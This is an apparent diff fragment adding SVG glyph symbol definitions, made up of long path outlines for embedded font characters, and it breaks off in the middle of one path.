+<path style="stroke:none;" d="M 1.296875 -14.234375 C 1.515625 -14.273438 1.753906 -14.304688 2.015625 -14.328125 C 2.285156 -14.347656 2.554688 -14.359375 2.828125 -14.359375 C 3.097656 -14.367188 3.363281 -14.375 3.625 -14.375 C 3.894531 -14.382812 4.144531 -14.390625 4.375 -14.390625 C 5.363281 -14.390625 6.203125 -14.21875 6.890625 -13.875 C 7.578125 -13.539062 8.140625 -13.054688 8.578125 -12.421875 C 9.015625 -11.796875 9.328125 -11.039062 9.515625 -10.15625 C 9.703125 -9.28125 9.796875 -8.300781 9.796875 -7.21875 C 9.796875 -6.238281 9.703125 -5.300781 9.515625 -4.40625 C 9.335938 -3.507812 9.03125 -2.722656 8.59375 -2.046875 C 8.164062 -1.367188 7.59375 -0.828125 6.875 -0.421875 C 6.164062 -0.015625 5.273438 0.1875 4.203125 0.1875 C 4.023438 0.1875 3.800781 0.179688 3.53125 0.171875 C 3.257812 0.160156 2.976562 0.144531 2.6875 0.125 C 2.394531 0.113281 2.125 0.0976562 1.875 0.078125 C 1.625 0.0664062 1.429688 0.046875 1.296875 0.015625 Z M 4.453125 -12.984375 C 4.316406 -12.984375 4.171875 -12.984375 4.015625 -12.984375 C 3.859375 -12.984375 3.703125 -12.976562 3.546875 -12.96875 C 3.398438 -12.957031 3.265625 -12.941406 3.140625 -12.921875 C 3.015625 -12.910156 2.910156 -12.898438 2.828125 -12.890625 L 2.828125 -1.296875 C 2.878906 -1.285156 2.972656 -1.273438 3.109375 -1.265625 C 3.253906 -1.265625 3.40625 -1.257812 3.5625 -1.25 C 3.71875 -1.238281 3.867188 -1.226562 4.015625 -1.21875 C 4.160156 -1.21875 4.265625 -1.21875 4.328125 -1.21875 C 5.078125 -1.21875 5.703125 -1.378906 6.203125 -1.703125 C 6.703125 -2.035156 7.097656 -2.472656 7.390625 -3.015625 C 7.679688 -3.566406 7.882812 -4.203125 8 -4.921875 C 8.125 -5.648438 8.1875 -6.421875 8.1875 -7.234375 C 8.1875 -7.953125 8.128906 -8.65625 8.015625 -9.34375 C 7.910156 -10.039062 7.71875 -10.65625 7.4375 -11.1875 C 7.164062 -11.726562 6.789062 -12.160156 6.3125 -12.484375 C 5.832031 -12.816406 5.210938 -12.984375 4.453125 -12.984375 Z M 4.453125 -12.984375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-21">
+<path style="stroke:none;" d="M 6.765625 -3.984375 L 2.75 -3.984375 L 1.609375 0 L 0.109375 0 L 4.390625 -14.453125 L 5.21875 -14.453125 L 9.515625 0 L 7.921875 0 Z M 3.15625 -5.34375 L 6.40625 -5.34375 L 5.15625 -9.734375 L 4.78125 -11.875 L 4.734375 -11.875 L 4.34375 -9.703125 Z M 3.15625 -5.34375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-22">
+<path style="stroke:none;" d="M 0.875 -7.109375 C 0.875 -9.523438 1.257812 -11.351562 2.03125 -12.59375 C 2.800781 -13.84375 3.976562 -14.46875 5.5625 -14.46875 C 6.414062 -14.46875 7.140625 -14.296875 7.734375 -13.953125 C 8.335938 -13.609375 8.820312 -13.117188 9.1875 -12.484375 C 9.5625 -11.847656 9.835938 -11.070312 10.015625 -10.15625 C 10.191406 -9.25 10.28125 -8.234375 10.28125 -7.109375 C 10.28125 -4.703125 9.890625 -2.875 9.109375 -1.625 C 8.335938 -0.375 7.15625 0.25 5.5625 0.25 C 4.726562 0.25 4.007812 0.078125 3.40625 -0.265625 C 2.8125 -0.617188 2.320312 -1.113281 1.9375 -1.75 C 1.5625 -2.382812 1.289062 -3.15625 1.125 -4.0625 C 0.957031 -4.96875 0.875 -5.984375 0.875 -7.109375 Z M 2.484375 -7.109375 C 2.484375 -6.316406 2.539062 -5.5625 2.65625 -4.84375 C 2.769531 -4.125 2.945312 -3.492188 3.1875 -2.953125 C 3.4375 -2.410156 3.753906 -1.972656 4.140625 -1.640625 C 4.535156 -1.316406 5.007812 -1.15625 5.5625 -1.15625 C 6.582031 -1.15625 7.359375 -1.640625 7.890625 -2.609375 C 8.421875 -3.585938 8.6875 -5.085938 8.6875 -7.109375 C 8.6875 -7.898438 8.625 -8.65625 8.5 -9.375 C 8.382812 -10.09375 8.207031 -10.722656 7.96875 -11.265625 C 7.726562 -11.816406 7.410156 -12.253906 7.015625 -12.578125 C 6.617188 -12.910156 6.132812 -13.078125 5.5625 -13.078125 C 4.5625 -13.078125 3.796875 -12.585938 3.265625 -11.609375 C 2.742188 -10.628906 2.484375 -9.128906 2.484375 -7.109375 Z M 2.484375 -7.109375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-23">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.453125 -9.0625 L 2.546875 -9.0625 C 3.046875 -9.957031 3.832031 -10.40625 4.90625 -10.40625 C 5.96875 -10.40625 6.765625 -10.003906 7.296875 -9.203125 C 7.835938 -8.410156 8.109375 -7.101562 8.109375 -5.28125 C 8.109375 -4.425781 8.019531 -3.65625 7.84375 -2.96875 C 7.664062 -2.289062 7.414062 -1.710938 7.09375 -1.234375 C 6.769531 -0.753906 6.375 -0.382812 5.90625 -0.125 C 5.4375 0.125 4.914062 0.25 4.34375 0.25 C 3.957031 0.25 3.644531 0.222656 3.40625 0.171875 C 3.175781 0.128906 2.925781 0.03125 2.65625 -0.125 L 2.65625 4.0625 L 1.203125 4.0625 Z M 2.65625 -1.609375 C 2.851562 -1.441406 3.066406 -1.3125 3.296875 -1.21875 C 3.535156 -1.125 3.851562 -1.078125 4.25 -1.078125 C 4.96875 -1.078125 5.535156 -1.441406 5.953125 -2.171875 C 6.378906 -2.898438 6.59375 -3.945312 6.59375 -5.3125 C 6.59375 -5.875 6.550781 -6.382812 6.46875 -6.84375 C 6.394531 -7.3125 6.273438 -7.707031 6.109375 -8.03125 C 5.953125 -8.363281 5.75 -8.625 5.5 -8.8125 C 5.25 -9 4.941406 -9.09375 4.578125 -9.09375 C 3.585938 -9.09375 2.945312 -8.488281 2.65625 -7.28125 Z M 2.65625 -1.609375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-24">
+<path style="stroke:none;" d="M 2.515625 -10.15625 L 2.515625 -3.9375 C 2.515625 -2.914062 2.617188 -2.179688 2.828125 -1.734375 C 3.046875 -1.296875 3.429688 -1.078125 3.984375 -1.078125 C 4.265625 -1.078125 4.515625 -1.132812 4.734375 -1.25 C 4.960938 -1.363281 5.164062 -1.515625 5.34375 -1.703125 C 5.519531 -1.890625 5.675781 -2.101562 5.8125 -2.34375 C 5.945312 -2.59375 6.054688 -2.847656 6.140625 -3.109375 L 6.140625 -10.15625 L 7.609375 -10.15625 L 7.609375 -2.890625 C 7.609375 -2.398438 7.625 -1.894531 7.65625 -1.375 C 7.6875 -0.851562 7.738281 -0.394531 7.8125 0 L 6.765625 0 L 6.40625 -1.421875 L 6.34375 -1.421875 C 6.113281 -0.972656 5.78125 -0.582031 5.34375 -0.25 C 4.914062 0.0820312 4.375 0.25 3.71875 0.25 C 3.28125 0.25 2.898438 0.191406 2.578125 0.078125 C 2.253906 -0.0234375 1.976562 -0.21875 1.75 -0.5 C 1.519531 -0.789062 1.347656 -1.179688 1.234375 -1.671875 C 1.117188 -2.171875 1.0625 -2.804688 1.0625 -3.578125 L 1.0625 -10.15625 Z M 2.515625 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-0">
+<path style="stroke:none;" d="M 0.90625 -12.640625 L 12.640625 -12.640625 L 12.640625 0 L 0.90625 0 Z M 10.296875 -11.203125 L 6.78125 -7.28125 L 3.25 -11.203125 L 2.34375 -10.296875 L 5.90625 -6.328125 L 2.34375 -2.34375 L 3.25 -1.4375 L 6.78125 -5.359375 L 10.296875 -1.4375 L 11.203125 -2.34375 L 7.625 -6.328125 L 11.203125 -10.296875 Z M 2.328125 -0.484375 L 2.46875 -0.484375 L 2.46875 -0.703125 L 2.546875 -0.703125 C 2.617188 -0.703125 2.679688 -0.71875 2.734375 -0.75 C 2.796875 -0.78125 2.828125 -0.835938 2.828125 -0.921875 C 2.828125 -1.015625 2.796875 -1.070312 2.734375 -1.09375 C 2.671875 -1.125 2.601562 -1.140625 2.53125 -1.140625 L 2.328125 -1.140625 Z M 2.546875 -1.03125 C 2.640625 -1.03125 2.6875 -1 2.6875 -0.9375 C 2.6875 -0.875 2.671875 -0.835938 2.640625 -0.828125 C 2.609375 -0.828125 2.570312 -0.828125 2.53125 -0.828125 L 2.46875 -0.828125 L 2.46875 -1.03125 Z M 3.40625 -1.140625 L 2.859375 -1.140625 L 2.859375 -1.03125 L 3.078125 -1.03125 L 3.078125 -0.484375 L 3.203125 -0.484375 L 3.203125 -1.03125 L 3.40625 -1.03125 Z M 4.015625 -0.671875 C 4.015625 -0.617188 3.972656 -0.59375 3.890625 -0.59375 C 3.796875 -0.59375 3.738281 -0.601562 3.71875 -0.625 L 3.671875 -0.5 C 3.691406 -0.5 3.71875 -0.492188 3.75 -0.484375 C 3.789062 -0.472656 3.84375 -0.46875 3.90625 -0.46875 C 4.070312 -0.46875 4.15625 -0.539062 4.15625 -0.6875 C 4.15625 -0.789062 4.097656 -0.847656 3.984375 -0.859375 C 3.878906 -0.878906 3.828125 -0.914062 3.828125 -0.96875 C 3.828125 -1.007812 3.863281 -1.03125 3.9375 -1.03125 C 4 -1.03125 4.050781 -1.019531 4.09375 -1 L 4.140625 -1.125 C 4.066406 -1.144531 4 -1.15625 3.9375 -1.15625 C 3.769531 -1.15625 3.6875 -1.085938 3.6875 -0.953125 C 3.6875 -0.890625 3.703125 -0.847656 3.734375 -0.828125 C 3.773438 -0.804688 3.8125 -0.785156 3.84375 -0.765625 C 3.882812 -0.742188 3.921875 -0.726562 3.953125 -0.71875 C 3.992188 -0.707031 4.015625 -0.691406 4.015625 -0.671875 Z M 4.28125 -0.84375 C 4.332031 -0.875 4.382812 -0.890625 4.4375 -0.890625 C 4.5 -0.890625 4.53125 -0.863281 4.53125 -0.8125 L 4.53125 -0.78125 C 4.519531 -0.78125 4.507812 -0.78125 4.5 -0.78125 C 4.488281 -0.789062 4.46875 -0.796875 4.4375 -0.796875 C 4.300781 -0.796875 4.234375 -0.734375 4.234375 -0.609375 C 4.234375 -0.515625 4.28125 -0.46875 4.375 -0.46875 C 4.445312 -0.46875 4.5 -0.5 4.53125 -0.5625 L 4.5625 -0.484375 L 4.671875 -0.484375 C 4.660156 -0.515625 4.65625 -0.554688 4.65625 -0.609375 L 4.65625 -0.8125 C 4.65625 -0.9375 4.597656 -1 4.484375 -1 C 4.429688 -1 4.382812 -0.988281 4.34375 -0.96875 C 4.300781 -0.957031 4.269531 -0.945312 4.25 -0.9375 Z M 4.421875 -0.578125 C 4.378906 -0.578125 4.359375 -0.601562 4.359375 -0.65625 C 4.359375 -0.695312 4.382812 -0.71875 4.4375 -0.71875 C 4.46875 -0.71875 4.488281 -0.710938 4.5 -0.703125 C 4.507812 -0.703125 4.519531 -0.703125 4.53125 -0.703125 L 4.53125 -0.65625 C 4.507812 -0.601562 4.472656 -0.578125 4.421875 -0.578125 Z M 5.28125 -0.484375 L 5.28125 -0.78125 C 5.28125 -0.925781 5.222656 -1 5.109375 -1 C 5.023438 -1 4.96875 -0.96875 4.9375 -0.90625 L 4.890625 -0.96875 L 4.796875 -0.96875 L 4.796875 -0.484375 L 4.9375 -0.484375 L 4.9375 -0.796875 C 4.957031 -0.835938 4.992188 -0.859375 5.046875 -0.859375 C 5.097656 -0.859375 5.125 -0.828125 5.125 -0.765625 L 5.125 -0.484375 Z M 5.359375 -0.5 C 5.410156 -0.476562 5.472656 -0.46875 5.546875 -0.46875 C 5.679688 -0.46875 5.75 -0.519531 5.75 -0.625 C 5.75 -0.6875 5.734375 -0.722656 5.703125 -0.734375 C 5.671875 -0.753906 5.632812 -0.773438 5.59375 -0.796875 C 5.539062 -0.816406 5.515625 -0.832031 5.515625 -0.84375 C 5.515625 -0.875 5.53125 -0.890625 5.5625 -0.890625 C 5.613281 -0.890625 5.660156 -0.875 5.703125 -0.84375 L 5.75 -0.953125 C 5.695312 -0.984375 5.632812 -1 5.5625 -1 C 5.4375 -1 5.375 -0.941406 5.375 -0.828125 C 5.375 -0.765625 5.390625 -0.722656 5.421875 -0.703125 C 5.460938 -0.691406 5.5 -0.679688 5.53125 -0.671875 C 5.59375 -0.671875 5.625 -0.648438 5.625 -0.609375 C 5.625 -0.585938 5.601562 -0.578125 5.5625 -0.578125 C 5.5 -0.578125 5.445312 -0.585938 5.40625 -0.609375 Z M 6.109375 -0.765625 C 6.109375 -0.503906 6.226562 -0.375 6.46875 -0.375 C 6.707031 -0.375 6.828125 -0.503906 6.828125 -0.765625 C 6.828125 -1.003906 6.707031 -1.125 6.46875 -1.125 C 6.375 -1.125 6.289062 -1.085938 6.21875 -1.015625 C 6.144531 -0.953125 6.109375 -0.867188 6.109375 -0.765625 Z M 6.21875 -0.765625 C 6.21875 -0.941406 6.300781 -1.03125 6.46875 -1.03125 C 6.632812 -1.03125 6.71875 -0.941406 6.71875 -0.765625 C 6.71875 -0.578125 6.632812 -0.484375 6.46875 -0.484375 C 6.300781 -0.484375 6.21875 -0.578125 6.21875 -0.765625 Z M 6.578125 -0.6875 C 6.546875 -0.675781 6.519531 -0.671875 6.5 -0.671875 C 6.457031 -0.671875 6.4375 -0.703125 6.4375 -0.765625 C 6.4375 -0.804688 6.457031 -0.828125 6.5 -0.828125 L 6.5625 -0.828125 L 6.59375 -0.90625 C 6.539062 -0.925781 6.5 -0.9375 6.46875 -0.9375 C 6.351562 -0.9375 6.296875 -0.878906 6.296875 -0.765625 C 6.296875 -0.628906 6.351562 -0.5625 6.46875 -0.5625 C 6.53125 -0.5625 6.570312 -0.570312 6.59375 -0.59375 Z M 7.203125 -0.484375 L 7.34375 -0.484375 L 7.34375 -0.703125 L 7.421875 -0.703125 C 7.492188 -0.703125 7.5625 -0.71875 7.625 -0.75 C 7.6875 -0.78125 7.71875 -0.835938 7.71875 -0.921875 C 7.71875 -1.015625 7.679688 -1.070312 7.609375 -1.09375 C 7.546875 -1.125 7.476562 -1.140625 7.40625 -1.140625 L 7.203125 -1.140625 Z M 7.421875 -1.03125 C 7.515625 -1.03125 7.5625 -1 7.5625 -0.9375 C 7.5625 -0.875 7.546875 -0.835938 7.515625 -0.828125 C 7.492188 -0.828125 7.457031 -0.828125 7.40625 -0.828125 L 7.34375 -0.828125 L 7.34375 -1.03125 Z M 7.796875 -0.84375 C 7.847656 -0.875 7.90625 -0.890625 7.96875 -0.890625 C 8.03125 -0.890625 8.0625 -0.863281 8.0625 -0.8125 L 8.0625 -0.78125 C 8.039062 -0.78125 8.023438 -0.78125 8.015625 -0.78125 C 8.003906 -0.789062 7.988281 -0.796875 7.96875 -0.796875 C 7.8125 -0.796875 7.734375 -0.734375 7.734375 -0.609375 C 7.734375 -0.515625 7.785156 -0.46875 7.890625 -0.46875 C 7.960938 -0.46875 8.019531 -0.5 8.0625 -0.5625 L 8.09375 -0.484375 L 8.203125 -0.484375 C 8.191406 -0.515625 8.1875 -0.554688 8.1875 -0.609375 L 8.1875 -0.8125 C 8.1875 -0.9375 8.125 -1 8 -1 C 7.945312 -1 7.898438 -0.988281 7.859375 -0.96875 C 7.816406 -0.957031 7.785156 -0.945312 7.765625 -0.9375 Z M 7.953125 -0.578125 C 7.898438 -0.578125 7.875 -0.601562 7.875 -0.65625 C 7.875 -0.695312 7.90625 -0.71875 7.96875 -0.71875 C 7.988281 -0.71875 8.003906 -0.710938 8.015625 -0.703125 C 8.023438 -0.703125 8.039062 -0.703125 8.0625 -0.703125 L 8.0625 -0.65625 C 8.03125 -0.601562 7.992188 -0.578125 7.953125 -0.578125 Z M 8.640625 -0.96875 C 8.617188 -0.988281 8.59375 -1 8.5625 -1 C 8.507812 -1 8.472656 -0.96875 8.453125 -0.90625 L 8.4375 -0.90625 L 8.421875 -0.96875 L 8.3125 -0.96875 L 8.3125 -0.484375 L 8.453125 -0.484375 L 8.453125 -0.796875 C 8.453125 -0.835938 8.488281 -0.859375 8.5625 -0.859375 L 8.578125 -0.859375 C 8.585938 -0.859375 8.59375 -0.851562 8.59375 -0.84375 C 8.59375 -0.84375 8.597656 -0.84375 8.609375 -0.84375 Z M 8.71875 -0.84375 C 8.789062 -0.875 8.847656 -0.890625 8.890625 -0.890625 C 8.953125 -0.890625 8.984375 -0.863281 8.984375 -0.8125 L 8.984375 -0.78125 C 8.960938 -0.78125 8.945312 -0.78125 8.9375 -0.78125 C 8.925781 -0.789062 8.910156 -0.796875 8.890625 -0.796875 C 8.734375 -0.796875 8.65625 -0.734375 8.65625 -0.609375 C 8.65625 -0.515625 8.707031 -0.46875 8.8125 -0.46875 C 8.894531 -0.46875 8.953125 -0.5 8.984375 -0.5625 L 9 -0.5625 L 9.015625 -0.484375 L 9.125 -0.484375 C 9.113281 -0.515625 9.109375 -0.554688 9.109375 -0.609375 L 9.109375 -0.8125 C 9.109375 -0.9375 9.046875 -1 8.921875 -1 C 8.867188 -1 8.828125 -0.988281 8.796875 -0.96875 C 8.765625 -0.957031 8.734375 -0.945312 8.703125 -0.9375 Z M 8.875 -0.578125 C 8.820312 -0.578125 8.796875 -0.601562 8.796875 -0.65625 C 8.796875 -0.695312 8.828125 -0.71875 8.890625 -0.71875 C 8.910156 -0.71875 8.925781 -0.710938 8.9375 -0.703125 C 8.945312 -0.703125 8.960938 -0.703125 8.984375 -0.703125 L 8.984375 -0.65625 C 8.953125 -0.601562 8.914062 -0.578125 8.875 -0.578125 Z M 9.625 -1.140625 L 9.0625 -1.140625 L 9.0625 -1.03125 L 9.265625 -1.03125 L 9.265625 -0.484375 L 9.40625 -0.484375 L 9.40625 -1.03125 L 9.625 -1.03125 Z M 9.765625 -0.96875 L 9.625 -0.96875 L 9.84375 -0.484375 C 9.832031 -0.421875 9.800781 -0.390625 9.75 -0.390625 L 9.734375 -0.421875 L 9.703125 -0.3125 C 9.722656 -0.289062 9.753906 -0.28125 9.796875 -0.28125 C 9.847656 -0.28125 9.90625 -0.363281 9.96875 -0.53125 L 10.15625 -0.96875 L 10 -0.96875 L 9.921875 -0.703125 L 9.921875 -0.609375 L 9.890625 -0.609375 L 9.875 -0.703125 Z M 10.203125 -0.28125 L 10.34375 -0.28125 L 10.34375 -0.5 C 10.363281 -0.476562 10.394531 -0.46875 10.4375 -0.46875 C 10.601562 -0.46875 10.6875 -0.554688 10.6875 -0.734375 C 10.6875 -0.910156 10.625 -1 10.5 -1 C 10.4375 -1 10.378906 -0.972656 10.328125 -0.921875 L 10.3125 -0.921875 L 10.296875 -0.96875 L 10.203125 -0.96875 Z M 10.453125 -0.890625 C 10.515625 -0.890625 10.546875 -0.835938 10.546875 -0.734375 C 10.546875 -0.628906 10.503906 -0.578125 10.421875 -0.578125 C 10.398438 -0.578125 10.375 -0.585938 10.34375 -0.609375 L 10.34375 -0.796875 C 10.34375 -0.859375 10.378906 -0.890625 10.453125 -0.890625 Z M 11.15625 -0.609375 C 11.132812 -0.585938 11.09375 -0.578125 11.03125 -0.578125 C 10.945312 -0.578125 10.898438 -0.613281 10.890625 -0.6875 L 11.234375 -0.6875 L 11.234375 -0.796875 C 11.234375 -0.867188 11.210938 -0.921875 11.171875 -0.953125 C 11.128906 -0.984375 11.078125 -1 11.015625 -1 C 10.847656 -1 10.765625 -0.90625 10.765625 -0.71875 C 10.765625 -0.550781 10.847656 -0.46875 11.015625 -0.46875 C 11.054688 -0.46875 11.09375 -0.472656 11.125 -0.484375 C 11.164062 -0.492188 11.195312 -0.507812 11.21875 -0.53125 Z M 11.015625 -0.890625 C 11.085938 -0.890625 11.117188 -0.851562 11.109375 -0.78125 L 10.90625 -0.78125 C 10.90625 -0.851562 10.941406 -0.890625 11.015625 -0.890625 Z M 11.015625 -0.890625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-1">
+<path style="stroke:none;" d="M 0.921875 -1.484375 C 1.160156 -1.335938 1.445312 -1.210938 1.78125 -1.109375 C 2.113281 -1.003906 2.453125 -0.953125 2.796875 -0.953125 C 3.191406 -0.953125 3.53125 -1.050781 3.8125 -1.25 C 4.09375 -1.445312 4.234375 -1.769531 4.234375 -2.21875 C 4.234375 -2.59375 4.144531 -2.898438 3.96875 -3.140625 C 3.800781 -3.378906 3.585938 -3.59375 3.328125 -3.78125 C 3.066406 -3.976562 2.785156 -4.15625 2.484375 -4.3125 C 2.191406 -4.476562 1.914062 -4.675781 1.65625 -4.90625 C 1.394531 -5.132812 1.179688 -5.40625 1.015625 -5.71875 C 0.847656 -6.039062 0.765625 -6.441406 0.765625 -6.921875 C 0.765625 -7.691406 0.96875 -8.269531 1.375 -8.65625 C 1.789062 -9.050781 2.378906 -9.25 3.140625 -9.25 C 3.640625 -9.25 4.066406 -9.203125 4.421875 -9.109375 C 4.785156 -9.023438 5.097656 -8.90625 5.359375 -8.75 L 5.015625 -7.65625 C 4.785156 -7.78125 4.519531 -7.878906 4.21875 -7.953125 C 3.925781 -8.035156 3.625 -8.078125 3.3125 -8.078125 C 2.875 -8.078125 2.554688 -7.984375 2.359375 -7.796875 C 2.160156 -7.617188 2.0625 -7.335938 2.0625 -6.953125 C 2.0625 -6.648438 2.144531 -6.394531 2.3125 -6.1875 C 2.476562 -5.976562 2.691406 -5.785156 2.953125 -5.609375 C 3.210938 -5.429688 3.492188 -5.25 3.796875 -5.0625 C 4.097656 -4.882812 4.375 -4.671875 4.625 -4.421875 C 4.882812 -4.179688 5.097656 -3.890625 5.265625 -3.546875 C 5.441406 -3.203125 5.53125 -2.773438 5.53125 -2.265625 C 5.53125 -1.921875 5.472656 -1.597656 5.359375 -1.296875 C 5.253906 -0.992188 5.085938 -0.734375 4.859375 -0.515625 C 4.640625 -0.296875 4.363281 -0.117188 4.03125 0.015625 C 3.707031 0.148438 3.320312 0.21875 2.875 0.21875 C 2.34375 0.21875 1.882812 0.164062 1.5 0.0625 C 1.113281 -0.0390625 0.789062 -0.175781 0.53125 -0.34375 Z M 0.921875 -1.484375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-2">
+<path style="stroke:none;" d="M 6.46875 -0.609375 C 6.175781 -0.347656 5.804688 -0.144531 5.359375 0 C 4.921875 0.144531 4.453125 0.21875 3.953125 0.21875 C 3.390625 0.21875 2.898438 0.109375 2.484375 -0.109375 C 2.066406 -0.335938 1.722656 -0.660156 1.453125 -1.078125 C 1.179688 -1.492188 0.984375 -1.988281 0.859375 -2.5625 C 0.734375 -3.144531 0.671875 -3.796875 0.671875 -4.515625 C 0.671875 -6.054688 0.953125 -7.226562 1.515625 -8.03125 C 2.078125 -8.84375 2.878906 -9.25 3.921875 -9.25 C 4.253906 -9.25 4.585938 -9.207031 4.921875 -9.125 C 5.253906 -9.039062 5.550781 -8.867188 5.8125 -8.609375 C 6.082031 -8.359375 6.296875 -8.003906 6.453125 -7.546875 C 6.617188 -7.085938 6.703125 -6.492188 6.703125 -5.765625 C 6.703125 -5.554688 6.691406 -5.332031 6.671875 -5.09375 C 6.648438 -4.863281 6.628906 -4.625 6.609375 -4.375 L 2.015625 -4.375 C 2.015625 -3.851562 2.054688 -3.378906 2.140625 -2.953125 C 2.234375 -2.535156 2.367188 -2.175781 2.546875 -1.875 C 2.722656 -1.582031 2.953125 -1.351562 3.234375 -1.1875 C 3.523438 -1.03125 3.878906 -0.953125 4.296875 -0.953125 C 4.617188 -0.953125 4.941406 -1.007812 5.265625 -1.125 C 5.585938 -1.25 5.832031 -1.398438 6 -1.578125 Z M 5.453125 -5.453125 C 5.472656 -6.359375 5.34375 -7.019531 5.0625 -7.4375 C 4.789062 -7.863281 4.414062 -8.078125 3.9375 -8.078125 C 3.382812 -8.078125 2.941406 -7.863281 2.609375 -7.4375 C 2.285156 -7.019531 2.097656 -6.359375 2.046875 -5.453125 Z M 5.453125 -5.453125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-3">
+<path style="stroke:none;" d="M 0.15625 -9.03125 L 1.265625 -9.03125 L 1.265625 -10.8125 L 2.5625 -11.234375 L 2.5625 -9.03125 L 4.515625 -9.03125 L 4.515625 -7.859375 L 2.5625 -7.859375 L 2.5625 -2.46875 C 2.5625 -1.945312 2.625 -1.566406 2.75 -1.328125 C 2.875 -1.085938 3.082031 -0.96875 3.375 -0.96875 C 3.613281 -0.96875 3.820312 -0.992188 4 -1.046875 C 4.175781 -1.109375 4.363281 -1.179688 4.5625 -1.265625 L 4.828125 -0.234375 C 4.554688 -0.0976562 4.257812 0.00390625 3.9375 0.078125 C 3.625 0.160156 3.289062 0.203125 2.9375 0.203125 C 2.34375 0.203125 1.914062 0.0078125 1.65625 -0.375 C 1.394531 -0.769531 1.265625 -1.410156 1.265625 -2.296875 L 1.265625 -7.859375 L 0.15625 -7.859375 Z M 0.15625 -9.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-4">
+<path style="stroke:none;" d="M 1.15625 -12.640625 C 1.34375 -12.679688 1.554688 -12.707031 1.796875 -12.71875 C 2.035156 -12.738281 2.273438 -12.75 2.515625 -12.75 C 2.753906 -12.757812 2.988281 -12.765625 3.21875 -12.765625 C 3.457031 -12.773438 3.679688 -12.78125 3.890625 -12.78125 C 4.765625 -12.78125 5.507812 -12.628906 6.125 -12.328125 C 6.738281 -12.035156 7.238281 -11.609375 7.625 -11.046875 C 8.007812 -10.484375 8.285156 -9.8125 8.453125 -9.03125 C 8.617188 -8.25 8.703125 -7.375 8.703125 -6.40625 C 8.703125 -5.539062 8.617188 -4.710938 8.453125 -3.921875 C 8.296875 -3.128906 8.023438 -2.429688 7.640625 -1.828125 C 7.253906 -1.222656 6.742188 -0.738281 6.109375 -0.375 C 5.484375 -0.0195312 4.691406 0.15625 3.734375 0.15625 C 3.578125 0.15625 3.378906 0.148438 3.140625 0.140625 C 2.898438 0.140625 2.648438 0.128906 2.390625 0.109375 C 2.128906 0.0976562 1.890625 0.0820312 1.671875 0.0625 C 1.453125 0.0507812 1.28125 0.0351562 1.15625 0.015625 Z M 3.953125 -11.546875 C 3.835938 -11.546875 3.707031 -11.546875 3.5625 -11.546875 C 3.425781 -11.546875 3.289062 -11.535156 3.15625 -11.515625 C 3.03125 -11.503906 2.910156 -11.492188 2.796875 -11.484375 C 2.679688 -11.472656 2.585938 -11.460938 2.515625 -11.453125 L 2.515625 -1.15625 C 2.554688 -1.144531 2.640625 -1.132812 2.765625 -1.125 C 2.898438 -1.125 3.035156 -1.117188 3.171875 -1.109375 C 3.304688 -1.109375 3.4375 -1.101562 3.5625 -1.09375 C 3.6875 -1.082031 3.78125 -1.078125 3.84375 -1.078125 C 4.507812 -1.078125 5.0625 -1.222656 5.5 -1.515625 C 5.945312 -1.804688 6.300781 -2.191406 6.5625 -2.671875 C 6.820312 -3.160156 7.003906 -3.726562 7.109375 -4.375 C 7.222656 -5.019531 7.28125 -5.707031 7.28125 -6.4375 C 7.28125 -7.070312 7.226562 -7.695312 7.125 -8.3125 C 7.03125 -8.925781 6.859375 -9.46875 6.609375 -9.9375 C 6.367188 -10.414062 6.035156 -10.800781 5.609375 -11.09375 C 5.179688 -11.394531 4.628906 -11.546875 3.953125 -11.546875 Z M 3.953125 -11.546875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-5">
+<path style="stroke:none;" d="M 0.96875 -8.484375 C 1.320312 -8.703125 1.75 -8.867188 2.25 -8.984375 C 2.75 -9.109375 3.273438 -9.171875 3.828125 -9.171875 C 4.335938 -9.171875 4.742188 -9.09375 5.046875 -8.9375 C 5.359375 -8.789062 5.597656 -8.585938 5.765625 -8.328125 C 5.941406 -8.078125 6.054688 -7.785156 6.109375 -7.453125 C 6.171875 -7.117188 6.203125 -6.769531 6.203125 -6.40625 C 6.203125 -5.6875 6.1875 -4.984375 6.15625 -4.296875 C 6.125 -3.609375 6.109375 -2.957031 6.109375 -2.34375 C 6.109375 -1.882812 6.125 -1.457031 6.15625 -1.0625 C 6.1875 -0.675781 6.242188 -0.3125 6.328125 0.03125 L 5.328125 0.03125 L 5.015625 -1.03125 L 4.953125 -1.03125 C 4.765625 -0.71875 4.492188 -0.445312 4.140625 -0.21875 C 3.796875 0.0078125 3.332031 0.125 2.75 0.125 C 2.09375 0.125 1.554688 -0.0976562 1.140625 -0.546875 C 0.734375 -1.003906 0.53125 -1.628906 0.53125 -2.421875 C 0.53125 -2.941406 0.613281 -3.375 0.78125 -3.71875 C 0.957031 -4.070312 1.203125 -4.351562 1.515625 -4.5625 C 1.835938 -4.78125 2.21875 -4.9375 2.65625 -5.03125 C 3.101562 -5.125 3.597656 -5.171875 4.140625 -5.171875 C 4.253906 -5.171875 4.367188 -5.171875 4.484375 -5.171875 C 4.609375 -5.171875 4.738281 -5.160156 4.875 -5.140625 C 4.914062 -5.515625 4.9375 -5.847656 4.9375 -6.140625 C 4.9375 -6.828125 4.832031 -7.304688 4.625 -7.578125 C 4.414062 -7.859375 4.039062 -8 3.5 -8 C 3.164062 -8 2.800781 -7.945312 2.40625 -7.84375 C 2.007812 -7.738281 1.675781 -7.609375 1.40625 -7.453125 Z M 4.890625 -4.125 C 4.773438 -4.132812 4.65625 -4.140625 4.53125 -4.140625 C 4.414062 -4.148438 4.296875 -4.15625 4.171875 -4.15625 C 3.878906 -4.15625 3.59375 -4.128906 3.3125 -4.078125 C 3.039062 -4.035156 2.796875 -3.953125 2.578125 -3.828125 C 2.367188 -3.710938 2.195312 -3.550781 2.0625 -3.34375 C 1.9375 -3.132812 1.875 -2.875 1.875 -2.5625 C 1.875 -2.082031 1.988281 -1.707031 2.21875 -1.4375 C 2.457031 -1.175781 2.765625 -1.046875 3.140625 -1.046875 C 3.648438 -1.046875 4.039062 -1.164062 4.3125 -1.40625 C 4.59375 